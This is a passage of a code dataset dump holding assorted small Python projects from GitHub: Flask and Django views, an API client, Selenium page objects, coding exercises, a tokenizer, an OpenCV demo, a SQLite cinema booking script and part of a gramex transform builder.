cursor.fetchall()\nprint(result)\n\n# Decorator:\n@app.route('/')\ndef index():\n return 'hola mundo'\n\n# Example enabling METHODS and passing data in the URL\n@app.route('/post/', methods=['GET', 'POST'])\ndef another(post_id):\n return 'el id del post es: ' + post_id\n\n# Templates, and extending them\n@app.route('/landing', methods=['GET'])\ndef templatesFunction():\n return render_template('home.html', message=\"Hello World\")\n\n# GET Data from BD (create BD connection and cursor)\n@app.route('/datadb', methods=['POST', 'GET'])\ndef getData():\n cursor.execute('select * from Usuario')\n users = cursor.fetchall()\n\n return render_template('dataFromDB.html', users=users)\n\n# ADD Data to DB\n@app.route('/addUser', methods=['POST', 'GET'])\ndef addNewUser():\n if request.method == \"POST\":\n username = request.form['username']\n email = request.form['email']\n age = request.form['age']\n\n sql = \"insert into Usuario (email, username, edad) values (%s, %s, %s)\"\n values = (username, email, age)\n cursor.execute(sql, values)\n mydb.commit()\n\n return redirect(url_for('getData'))\n\n return render_template('addUser.html')\n","repo_name":"Jonulo/python_course","sub_path":"intro-flask/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70531953655","text":"\"\"\"\nwraps keboola connection api\nruns and polls kbc components jobs\n\"\"\"\nimport httplib2 # pip install httplib2\nimport json\nimport time\nimport os\nimport Exceptions\nfrom logger import debug\nfrom urlparse import urljoin\n\nconnectionIndexUrl = urljoin(os.environ['KBC_URL'], '/v2/storage')\nhttp = httplib2.Http()\n\ndef getProjectFeatures(token):\n verifyToken = getRequest(connectionIndexUrl + '/tokens/verify', token)\n return verifyToken['body']['owner']['features']\n\ndef getServiceUrl(token, serviceId):\n verifyToken = getRequest(connectionIndexUrl, token)\n services = verifyToken[\"body\"]['services']\n\n for service in services:\n if service['id'] == serviceId:\n return service['url']\n\n raise Exceptions('Unknown service id ' + serviceId)\n\ndef parseResponse(response):\n \"\"\"\n take http @response, raise if status code is not 200\n @return object with header and body extracted from the @response\n \"\"\"\n header = response[0]\n status = int(header['status'])\n if status not in range(200,300):\n if status < 500:\n raise Exceptions.UploadException('User error handling http request {0}'.format(response))\n else:\n raise Exception('http request failed: {0}'.format(response))\n body = json.loads(response[1])\n result = { 'header': header, 'body': body}\n return result\n\ndef loadConnectionIndex():\n \"\"\"\n return parsed response from GET kbc\\index\\storage\n \"\"\"\n return getRequest(connectionIndexUrl, None)\n\n\ndef getRequest(url, token):\n \"\"\"\n call a GET to @url, if @token present use it\n return parsed response\n \"\"\"\n headers = {}\n if token != None:\n headers = {'X-StorageApi-Token': token}\n\n upload_max_retries = 5\n upload_retries = 0\n while upload_retries < upload_max_retries:\n upload_retries += 1\n try:\n response = http.request(url, 'GET', headers=headers)\n return parseResponse(response)\n except Exceptions.UploadException as upload_err:\n raise Exceptions.UploadException(str(upload_err))\n except Exception as err:\n if upload_retries < upload_max_retries:\n message = '%s Retrying upload' % (\n str(upload_retries)\n )\n print(message)\n continue\n message = 'Error with %s retrying: %s' % (\n upload_retries,\n str(err)\n )\n raise Exception(message)\n\ndef postRequest(url, body, token, runId = None):\n \"\"\"\n call POST to @url with @body and @token(optional)\n return parsed response\n \"\"\"\n headers = {'X-Storageapi-Token': token}\n if runId:\n headers['X-KBC-RunId'] = runId\n headers['Content-Type'] = 'application/json; charset=UTF-8'\n body = json.dumps(body)\n upload_max_retries = 5\n upload_retries = 0\n while upload_retries < upload_max_retries:\n upload_retries += 1\n try:\n response = http.request(url, 'POST', headers=headers, body=body)\n return parseResponse(response)\n except Exceptions.UploadException as upload_err:\n raise Exceptions.UploadException(str(upload_err))\n except Exception as err:\n if upload_retries < upload_max_retries:\n message = '%s Retrying upload' % (\n str(upload_retries)\n )\n print(message)\n continue\n message = 'Error with %s retrying: %s' % (\n upload_retries,\n str(err)\n )\n raise Exception(message)\n","repo_name":"keboola/tde-exporter","sub_path":"src/kbc.py","file_name":"kbc.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"32331565103","text":"import allure\nfrom selenium.webdriver.common.by import By\nfrom pages.base_page import BasePage\n\n\nclass AddTagPage(BasePage):\n '''添加标签页'''\n\n # 标签名输入框\n __TAG_NAME_INPUT = (By.XPATH, \"//label[text()='标签名称 ']/../..//input\")\n # 确定按钮\n __CONFIRM_BTN = (By.XPATH, \"//div[@class='qui_dialog_foot ww_dialog_foot']/a[text()='确定']\")\n\n def edit_tag_info(self, tag_name):\n '''编辑标签信息'''\n\n with allure.step(f\"输入标签信息:{tag_name}\"):\n self.logger.info(f\"输入标签名: {tag_name}\")\n # 输入标签名\n self.do_send_keys(tag_name, *self.__TAG_NAME_INPUT)\n with allure.step(\"点击确定\"):\n self.logger.info(\"点击确定\")\n self.do_click(*self.__CONFIRM_BTN)\n\n from pages.contact_page import ContactPage\n return ContactPage(self.driver)\n\n","repo_name":"Zijingui/automation_samples","sub_path":"wework_admin_ui/pages/add_tag_page.py","file_name":"add_tag_page.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23257595144","text":"import re\n\n\ndef sum_digits(text: str):\n total_sum = 0\n current_num = ''\n for c in text:\n if c.isdigit():\n current_num += c\n else:\n if current_num:\n total_sum += int(current_num)\n current_num = ''\n if current_num:\n total_sum += int(current_num)\n return total_sum\n\n\ndef stdin_sum_digits():\n print(sum_digits(input(\"Write some text:\")))\n\n\ndef sum_until_off(input_string):\n # Search for the index of the first occurrence of \"Off\" in the input string\n off_index = input_string.find(\"Off\")\n\n # If \"Off\" sequence was found, only consider the string before it\n if off_index != -1:\n input_string = input_string[:off_index]\n\n # Use the original sum_numbers_in_string() function to sum all numbers in the remaining input string\n total_sum = sum_digits(input_string)\n\n return total_sum\n\n\ndef sum_until_off_remade(input_string):\n # Search for the index of the first occurrence of \"Off\" in the input string\n off_index = input_string.find(\"Off\")\n rest = None\n\n # If \"Off\" sequence was found, only consider the string before it\n if off_index != -1:\n rest = input_string[off_index + 3:]\n input_string = input_string[:off_index]\n\n # Use the original sum_numbers_in_string() function to sum all numbers in the remaining input string\n total_sum = sum_digits(input_string) + sum_after_on(rest)\n\n return total_sum\n\n\ndef sum_after_on(input_string):\n if input_string is None:\n return 0\n # Search for the index of the first occurrence of \"On\" in the input string\n on_index = input_string.find(\"On\")\n\n # If \"On\" sequence was found, only consider the string after it\n total_sum = 0\n if on_index != -1:\n input_string = input_string[on_index + 2:]\n total_sum = sum_until_off_remade(input_string)\n\n return total_sum\n\n\ndef sum_until_equals(input_str):\n if input_str is None:\n return 0\n equals_index = input_str.find(\"=\")\n rest = None\n if equals_index != -1:\n sum_to_print = input_str[:equals_index]\n rest = input_str[equals_index + 1:]\n print(sum_digits(sum_to_print))\n\n return sum_until_equals(rest)\n\n\ndef main():\n text = \"abc12Off=123Onedf=2hv6=Off56On8=\"\n print(sum_digits(text))\n print(sum_until_off_remade(text))\n sum_until_equals(text)\n stdin_sum_digits()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AN-DRE4/PL2023","sub_path":"TPC2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"21103652878","text":"from django.shortcuts import render\nfrom .parscsv2 import ParsXlsx\nfrom events.models import Organisation, Vpn, License, Device, Distributor\n\nfrom .forms import MoveDeviceForm, MoveDistributorForm\n\n\ndef debug(request):\n form = MoveDeviceForm()\n\n return render(\n request,\n 'debug.html',\n\n )\n\ndef add_organisations(request):\n app = ParsXlsx()\n logs = app.add_organisations()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Скрипт по добавлению организаций выполнен',\n 'logs': logs,\n }\n )\n\ndef add_distributors(request):\n app = ParsXlsx()\n logs = app.add_distributors()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Скрипт по добавлению дистрибьюторов выполнен',\n 'logs': logs,\n }\n )\n\ndef add_licenses(request):\n app = ParsXlsx()\n logs = app.add_licenses()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Скрипт по добавлению лицензий выполнен',\n 'logs': logs,\n }\n )\n\ndef add_devices(request):\n app = ParsXlsx()\n logs = app.add_devices()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Скрипт по добавлению устройств выполнен',\n 'logs': logs,\n }\n )\n\n\ndef add_vpn(request):\n app = ParsXlsx()\n logs = app.add_vpn()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Скрипт по добавлению СКИ выполнен',\n 'logs': logs,\n }\n )\n\ndef del_all_vpn(request):\n Vpn.objects.all().delete()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Все СКИ были удалены',\n }\n )\n\ndef del_all_act(request):\n License.objects.all().delete()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Все Акты были удалены',\n }\n )\n\ndef change_short_name(request):\n orgs = Organisation.objects.all()\n for org in orgs:\n new_name = org.short_name\n if 'Ставропольского края' in org.short_name:\n new_name = org.short_name.replace('Ставропольского края', 'СК')\n elif 'муниципального округа' in org.short_name:\n new_name = org.short_name.replace('муниципального округа', 'МО')\n elif 'муниципального района' in org.short_name:\n new_name = org.short_name.replace('муниципального района', 'МР')\n elif 'территориальный отдел' in org.short_name:\n new_name = org.short_name.replace('территориальный отдел', 'ТО')\n elif 'Государственное бюджетное учреждение' in org.short_name:\n new_name = org.short_name.replace('Государственное бюджетное учреждение', 'ГБУ')\n elif 'Муниципальное бюджетное дошкольное образовательное учреждение' in org.short_name:\n new_name = org.short_name.replace('Муниципальное бюджетное дошкольное образовательное учреждение', 'МБДОУ')\n if new_name != org.short_name:\n org.short_name = new_name\n org.save()\n\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Операция сокращения выполнена',\n }\n )\n\n\ndef change_lics(request):\n lics = License.objects.all().prefetch_related()\n for lic in lics:\n try:\n new_lic_act = str(lic.act.split(' ')[-1])\n except:\n new_lic_act = lic.act\n if new_lic_act.isnumeric():\n old_act = lic.act\n try:\n lic.act = new_lic_act\n lic.save()\n except:\n unique_lic = lics.get(act=new_lic_act)\n vpn = lic.lics.filter(act=old_act)\n for key in vpn:\n key.license = unique_lic\n key.save()\n lic.delete()\n \n return render(\n request,\n 'debug.html',\n {\n 'message': 'Операция преобразования актов выполнена',\n }\n )\n\ndef unmerge_with_filling(request):\n app = ParsXlsx()\n app.unmerge_with_filling()\n app.save_new_xlsx()\n return render(\n request,\n 'debug.html',\n {\n 'message': 'Скрипт по заполнению таблицы выполнен',\n }\n )\n\n\ndef move_device(request):\n if request.method != 'POST':\n form = MoveDeviceForm()\n return render(\n request, \n 'debug.html',\n {\n 'form': form,\n }\n )\n \n form = MoveDeviceForm(request.POST)\n try:\n old_type = form['old_type'].value()\n new_type = form['new_type'].value()\n\n old_device = Device.objects.get(id=old_type)\n new_device = Device.objects.get(id=new_type)\n except:\n return render(\n request,\n 'debug.html',\n {\n 'message': f'Проверьте введенные данные',\n 'form': form,\n }\n )\n if old_device == new_device:\n return render(\n request,\n 'debug.html',\n {\n 'message': f'{old_type} и {new_type} как бы одинаковы?!?!?',\n 'form': form,\n }\n )\n\n vpn = Vpn.objects.filter(device_type=old_device)\n\n for key in vpn:\n key.device_type = new_device\n key.save()\n \n old_device.delete()\n \n form = MoveDeviceForm()\n return render(\n request,\n 'debug.html',\n {\n 'form':form,\n 'message': f'Слияние актов произведено',\n }\n )\n\n\ndef move_distributors(request):\n if request.method != 'POST':\n form = MoveDistributorForm()\n return render(\n request, \n 'debug.html',\n {\n 'form_move_distr': form,\n }\n )\n \n form = MoveDistributorForm(request.POST)\n try:\n old_seller_id = form['old_seller'].value()\n new_seller_id = form['new_seller'].value()\n\n old_seller = Distributor.objects.get(id=old_seller_id)\n new_seller = Distributor.objects.get(id=new_seller_id)\n except:\n return render(\n request,\n 'debug.html',\n {\n 'message': f'Проверьте введенные данные',\n 'form_move_distr': form,\n }\n )\n if old_seller == new_seller:\n return render(\n request,\n 'debug.html',\n {\n 'message': f'{old_seller} и {new_seller} как бы одинаковы?!?!?',\n 'form_move_distr': form,\n }\n )\n\n licenses = License.objects.filter(distributor=old_seller)\n\n for lic in licenses:\n lic.distributor = new_seller\n lic.save()\n \n old_seller.delete()\n \n form = MoveDistributorForm()\n return render(\n request,\n 'debug.html',\n {\n 'form_move_distr': form,\n 'message': f'Слияние актов произведено',\n }\n )","repo_name":"mr-Marshanskiy/cit-vipnet","sub_path":"cit_vipnet/pars/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7729,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"8481301407","text":"# Team Identifier - T006\n#Written By:\n#Nolan Kisser 101222376\n#Manit Jawa 101215842\n#Ishtiaque Khan 101227487\n#Balkaran Karir 101229843\n\n# Version 1.0, 12 April 2022\n\ndef book_category_dictionary(filename:str)->dict:\n \"\"\"Returns a dictionary of books under their category header from data\n in a given google books dataset.\n \n Preconditions:\n File must be accessible by the program\n \n >>> book_category_dictionary(google_books_dataset)\n book_dictionary = {\n \"Fiction\":[ {\"title\": \"Antiques Roadkill: A Trash 'n' Treasures Mystery\",\n \"author\": \" Barbara Allan\",\n \"language \": \"English\",\n \"rating\": 3.3,\n \"publisher\": \" Kensington Publishing Corp.\",\n \"pages\": 288\n },\n {another element},\n …\n ],\n \"Biography\":[ {\"title\": \"The Nightshift Before Christmas: Festive hospital\n diaries from the author of million-copy hit\",\n \"author\": \" Adam Kay\",\n \"language\": \"English\",\n \"rating\": 4.7,\n \"publisher\": \"Pan Macmillan\",\n \"\"\"\n o_file = open(filename, \"r\")\n \n lst_books = []\n book_dictionary = {}\n for line in o_file:\n line = line.split(\",\")\n if line not in lst_books:\n lst_books += [line]\n categories = line[5] \n book_dictionary[categories] = []\n \n book_dictionary.pop('category')\n lst_books.pop(0)\n for line in lst_books:\n title = line[0]\n author = line[1]\n rating = line[2]\n if line[2] != 'N/A' and line[2] != 'rating':\n rating = float(rating) \n publisher = line[3]\n pages = line[4]\n if line[4] != 'N/A' and line[4] != 'rating':\n pages = int(pages) \n categories = line[5]\n language = line[6]\n if categories in book_dictionary.keys():\n book_dictionary[categories] += [{\"title\": title,\n \"author\": author,\n \"language\": language.strip(),\n \"rating\": rating,\n \"publisher\": publisher,\n \"pages\": pages\n },]\n \n \n \n \n \n \n o_file.close()\n return book_dictionary\n","repo_name":"Manit-J/Book-Dataset-Analyser-","sub_path":"T006_P5_load_data.py","file_name":"T006_P5_load_data.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4619257555","text":"def maxDepth(self, root: Optional[TreeNode]) -> int:\r\n if root is None:\r\n return 0\r\n else:\r\n left_ht = self.maxDepth(root.left)\r\n right_ht = self.maxDepth(root.right)\r\n return max(left_ht, right_ht) + 1\r\ndef maxDepth(self, root: Optional[TreeNode]) -> int:\r\n queue = []\r\n if root is not None:\r\n queue.append((1, root))\r\n depth = 0\r\n while queue:\r\n cur_depth, node = queue.pop()\r\n if node is not None:\r\n depth = max(depth, cur_depth)\r\n queue.append((cur_depth+1, node.left))\r\n queue.append((cur_depth+1, node.right))\r\n return depth","repo_name":"KavithaSRaj/LeetCode","sub_path":"MaxDepth.py","file_name":"MaxDepth.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73640792695","text":"def kidsWithCandies(candies, extraCandies):\n boolList = []\n greatestCandies = 0\n for kid in candies:\n if greatestCandies < kid:\n greatestCandies = kid\n \n for kid in candies:\n if kid + extraCandies >= greatestCandies:\n boolList.append(\"true\")\n else:\n boolList.append(\"false\")\n return boolList\nprint(kidsWithCandies([2,3,5,1,3], extraCandies = 3))\n ","repo_name":"alexmoerschbacher/leetcodeanswers","sub_path":"python/1431/1431.py","file_name":"1431.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"19770375898","text":"\n\"\"\"\n a VERY simple tokenizer. Just tokenizes on space and a few common punctiation marks.\n Works for simple applications and some languagues though.\n\"\"\"\n\ndef remove_spaces(line):\n \"\"\"\n Removes double spaces\n \"\"\"\n line = line.lstrip()\n result = \"\"\n for i, ch in enumerate(line):\n if i+1 == len(line):\n result = result + ch\n elif (ch == \" \" and (line[i+1] == \" \" or line[i+1] == \"\\n\")):\n pass\n else:\n result = result + ch\n\n return result\n\n\ndef simple_tokenize(file_name):\n \"\"\"\n Tokenize the content of a file with only one sentence in it.\n \"\"\"\n f = open(file_name)\n text = f.read()\n f.close()\n return simple_tokenize_list([text])\n\ndef simple_tokenize_list(lines):\n \"\"\"\n Tokenizes each string in a list of strings, and replaces\n tab with space, and double space with space.\n param: A list of strings\n :returns A list that contains a list of tokens in the input string\n \"\"\"\n output = []\n for line in lines:\n if line.strip() != \"\":\n line = line.strip()\n line = line.replace(\"\\t\", \" \")\n for ch in ['.', ',', '!', '?', '%', \":\", \";\", '\"', \"'\", \"-\", \"/\", \"(\", \")\"]:\n line = line.replace(ch, \" \" + ch + \" \")\n line = line.strip()\n removed_space = remove_spaces(line)\n output.append(removed_space.split(\" \"))\n return output\n\n\n#simple_tokenize(\"2000_more_other.txt\", \"2000_more_other_tokenized.txt\")\n","repo_name":"mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning","sub_path":"simple_tokenizer.py","file_name":"simple_tokenizer.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"22"} +{"seq_id":"8688496054","text":"import sqlite3\nimport os\nfrom pprint import pprint\n\n\nhall = [['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.']]\n\n\ndef reset_hall():\n hall = [['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.'],\n ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.']]\n\n\nos.remove(\"movies.db\")\nmovies = sqlite3.connect(\"movies.db\")\nmovies.row_factory = sqlite3.Row\ncursor = movies.cursor()\ncursor.execute(\"PRAGMA foreign_keys = ON\")\ncursor.execute(\"CREATE TABLE IF NOT EXISTS Movies(id INTEGER PRIMARY KEY, name TEXT, rating REAL)\")\ncursor.execute(\"INSERT INTO Movies(name, rating) VALUES(?, ?)\", (\"The Hunger Games: Catching Fire\", 7.9))\ncursor.execute(\"INSERT INTO Movies(name, rating) VALUES(?, ?)\", (\"Wreck-It Ralph\", 7.8))\ncursor.execute(\"INSERT INTO Movies(name, rating) VALUES(?, ?)\", (\"Her\", 8.3))\n\n\ncursor.execute('''CREATE TABLE IF NOT EXISTS Projections(id INTEGER PRIMARY KEY, movie_id INTEGER, type TEXT, sdate TEXT, time TEXT,\n FOREIGN KEY(movie_id) REFERENCES Movies(id))''')\ncursor.execute(\"INSERT INTO Projections(movie_id, type, sdate, time) VALUES(?, ?, ?, ?)\", (1, \"3D\", \"2014-04-01\", \"19:10\"))\ncursor.execute(\"INSERT INTO Projections(movie_id, type, sdate, time) VALUES(?, ?, ?, ?)\", (1, \"2D\", \"2014-04-01\", \"19:00\"))\ncursor.execute(\"INSERT INTO Projections(movie_id, type, sdate, time) VALUES(?, ?, ?, ?)\", (1, \"4DX\", \"2014-04-02\", \"21:00\"))\ncursor.execute(\"INSERT INTO Projections(movie_id, type, sdate, time) VALUES(?, ?, ?, ?)\", (3, \"2D\", \"2014-04-05\", \"20:20\"))\ncursor.execute(\"INSERT INTO Projections(movie_id, type, sdate, time) VALUES(?, ?, ?, ?)\", (2, \"3D\", \"2014-04-02\", \"21:00\"))\ncursor.execute(\"INSERT INTO Projections(movie_id, type, sdate, time) VALUES(?, ?, ?, ?)\", (2, \"2D\", \"2014-04-02\", \"19:30\"))\n\n\ncursor.execute('''CREATE TABLE IF NOT EXISTS Reservations(id INTEGER PRIMARY KEY, username TEXT,\n projection_id INTEGER, row INTEGEr, col INTEGER, FOREIGN KEY(projection_id) REFERENCES Projections(id))''')\ncursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"RadoRado\", 1, 2, 1))\ncursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"RadoRado\", 1, 3, 5))\ncursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"RadoRado\", 1, 7, 8))\ncursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"Ivo\", 3, 1, 1))\ncursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"Ivo\", 3, 1, 2))\ncursor.execute(\"INSERT INTO reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"Mysterious\", 5, 2, 3))\ncursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\", (\"Mysterious\", 5, 2, 4))\n\n\ndef show_movies():\n all_movies = cursor.execute(\"SELECT * FROM Movies ORDER BY rating DESC\").fetchall()\n for movie in all_movies:\n print (movie[\"id\"], movie[\"name\"], movie[\"rating\"])\n\n\ndef show_movie_projections(my_movie_id, my_time=\"\"):\n movie_name = cursor.execute(\"SELECT name FROM Movies WHERE id = ?\", (my_movie_id,))\n print (\"Projections for movie \" + movie_name.fetchone()[0] + \":\")\n if my_time == \"\":\n proj = cursor.execute(\"SELECT * FROM Projections WHERE movie_id = ? ORDER BY sdate\", (my_movie_id,))\n else:\n proj = cursor.execute(\"SELECT * FROM Projections WHERE movie_id = ? AND time = ? ORDER BY sdate\", (my_movie_id, my_time))\n proj = proj.fetchall()\n for projection in proj:\n available_spots = 100 - len(cursor.execute(\"SELECT * FROM Reservations WHERE projection_id = ?\", (my_movie_id,)).fetchall())\n print (projection[\"id\"], \" - \", projection[\"type\"], projection[\"sdate\"], projection[\"time\"], \"available spots: \", available_spots)\n\n\ndef print_reservations():\n reservs = cursor.execute(\"SELECT * FROM Reservations\")\n for res in reservs:\n print (res)\n\n\ndef is_in_hall(seat):\n return int(seat[\"row\"][0]) in range(1, 11) and int(seat[\"col\"][0]) in range(1, 11)\n\n\ndef is_avialable(seat):\n return hall[int(seat[\"row\"])][int(seat[\"col\"])] == '.'\n\n\ndef make_reservation():\n client_name = input(\"Choose name: \")\n number_of_tickets = input(\"Choose number of tickets: \")\n show_movies()\n choosed_movie_id = input(\"Choose a movie: \")\n show_movie_projections(choosed_movie_id)\n projection_choose = input(\"Choose a projection: \")\n un_available_seats = cursor.execute(\"SELECT col, row FROM Reservations WHERE projection_id = ?\", (projection_choose,)).fetchall()\n reset_hall()\n for seat in un_available_seats:\n hall[seat[\"row\"]][seat[\"col\"]] = 'X'\n print(\"Available seats (marked with a dot):\")\n pprint(hall)\n print(\"\")\n seats = []\n while len(seats) != int(number_of_tickets):\n crr_seat = {}\n crr_seat[\"row\"] = input(\"Choose next seat: \")\n crr_seat[\"col\"] = input(\"\")\n if is_in_hall(crr_seat):\n if is_avialable(crr_seat):\n seats.append(crr_seat)\n else:\n print(\"This seat is already taken!\")\n else:\n print(\"Lol...NO!\")\n movie_name = cursor.execute(\"SELECT name FROM Movies WHERE id = ?\", (choosed_movie_id,)).fetchone()[0]\n date_and_time = cursor.execute(\"SELECT sdate, time FROM Projections WHERE id = ?\", (projection_choose,)).fetchall()\n print(\"\"\"This is your reservation:\n Movie : {}\n Date and Time : {}\n Seats : ({};{})\"\"\".format(movie_name, date_and_time[0][\"sdate\"], date_and_time[0][\"time\"], seats[0][\"row\"]), seats[0][\"col\"])\n finalize = input(\"Confirm - type 'finalize':\")\n if finalize == \"finalize\":\n for i in range(number_of_tickets):\n cursor.execute(\"INSERT INTO Reservations(username, projection_id, row, col) VALUES(?, ?, ?, ?)\",\n (client_name, projection_choose, seats[i][\"row\"], seats[i][\"col\"]))\n\n\ndef main():\n make_reservation()\n print_reservations()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"scdekov/hackbg","sub_path":"week5/cinema_reservation_system.py","file_name":"cinema_reservation_system.py","file_ext":"py","file_size_in_byte":7097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73797316217","text":"import numpy as np \nimport cv2\n\n#reading the file\nimg = cv2.imread('bit.jpg' , cv2.IMREAD_COLOR)\n\n#Drawing on the file , from , to , color , width\ncv2.line(img , (0,0) , (150,150) , (255,255,255) , 15)\n#Drawing the rectangle on the file , from , to , color , width\ncv2.rectangle(img , (15,25) , (100,100) , (0,255,0) , 5)\n#Drawing the circle on the file ,center ,radius , color , width\n#negative width will fill the shape\ncv2.circle(img , (100,50) , 20 ,(100,100,100) , -1)\n\n#make the array of points to put on the image\npts = np.array([[10,2],[30,34],[12,23],[54,43],[23,65]], np.int32)\n#pts = pts.reshape((-1,1,2))\n#drawing the polygons on imagewith points , connecting the first and last point , color and width\ncv2.polylines(img, [pts] , True , (0,255,255) , 5) \n#using the font \n\n#THE FONT TO USE\nfont = cv2.FONT_HERSHEY_SIMPLEX\n#text to put on , text , (startingplace) , FONT ,SIZE ,COLOR , DISTANCE BETWEEN THE WORDS AND THE ALIGNMENT OF WORDS IN ROW\n\ncv2.putText(img, 'Open CV Rocks!!',(0,123),font,1, (200,200,200) , 1 ,cv2.LINE_AA)\ncv2.imshow('image', img)\ncv2.waitKey()\ncv2.destroyAllWindows()","repo_name":"terminate9298/OpenCV-Projects","sub_path":"drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31686172229","text":"import ast\nimport datetime\nimport importlib\nimport json\nimport os\nimport time\nimport tornado.gen\nimport yaml\nfrom functools import wraps\nfrom types import GeneratorType\nfrom orderedattrdict import AttrDict\nfrom gramex.config import app_log, locate, variables, CustomJSONEncoder, merge\nfrom typing import Union, Any, List\n\n\ndef identity(x):\n return x\n\n\ndef _arg_repr(arg):\n '''\n Arguments starting with `=` are converted into the variable. Otherwise,\n values are treated as strings. For example, `=x` is the variable `x` but\n `x` is the string `\"x\"`. `==x` is the string `\"=x\"`.\n '''\n if isinstance(arg, str):\n if arg.startswith('=='):\n return repr(arg[1:]) # \"==x\" becomes '\"=x\"'\n elif arg.startswith('='):\n return arg[1:] # \"=x\" becomes 'x'\n return repr(arg) # \"x\" becomes '\"x\"', 1 becomes '1', etc\n\n\ndef _full_name(tree):\n '''Decompile ast tree for \"x\", \"module.x\", \"package.module.x\", etc'''\n if isinstance(tree, ast.Name):\n return tree.id\n elif isinstance(tree, ast.Attribute):\n parent = _full_name(tree.value)\n return parent + '.' + tree.attr if parent is not None else parent\n return None\n\n\ndef module_names(node, vars):\n '''\n Collects a list of modules mentioned in an AST tree. Ignores things in vars\n\n visitor = ModuleNameVisitor()\n visitor.visit(ast.parse(expression))\n visitor.modules\n '''\n context = []\n modules = set()\n\n def visit(node):\n if not hasattr(node, '_fields'):\n return\n for child in ast.iter_child_nodes(node):\n if isinstance(child, ast.Name) and len(context) and context[-1]:\n module = [child.id]\n for p in context[::-1]:\n if p is not None:\n module.append(p)\n else:\n break\n if len(module) and module[0] not in vars:\n module.pop()\n while len(module):\n module_name = '.'.join(module)\n try:\n importlib.import_module(module_name)\n modules.add(module_name)\n break\n except ImportError:\n module.pop()\n # Anything other than an ImportError means we've identified the module.\n # E.g. A SyntaxError means the file is right, it just has an error.\n # Add these modules as well.\n else:\n modules.add(module_name)\n break\n context.append(child.attr if isinstance(child, ast.Attribute) else None)\n visit(child)\n context.pop()\n\n visit(node)\n return modules\n\n\ndef build_transform(\n conf: dict,\n vars: dict = None,\n kwargs: Union[bool, str] = False,\n filename: str = 'transform',\n cache: bool = False,\n iter: bool = True,\n):\n '''Converts an expression into a callable function.\n\n Examples:\n >>> fn = build_transform({'function': 'json.dumps({\"x\": 1})'}, iter=False)\n >>> fn()\n ... '{\"x\": 1}'\n\n This compiles the expression into a callable function as follows:\n\n ```python\n def transform(_val):\n import json\n result = json.dumps({\"x\": 1})\n return result\n ```\n\n Parameters:\n conf: expression to compile\n vars: variables passed to the compiled function\n kwargs: `True` to accept **kwargs. Any string to define the kwargs variable name\n filename: filename to print in case of errors\n cache: `False` re-imports modules if changed. `True` caches module\n 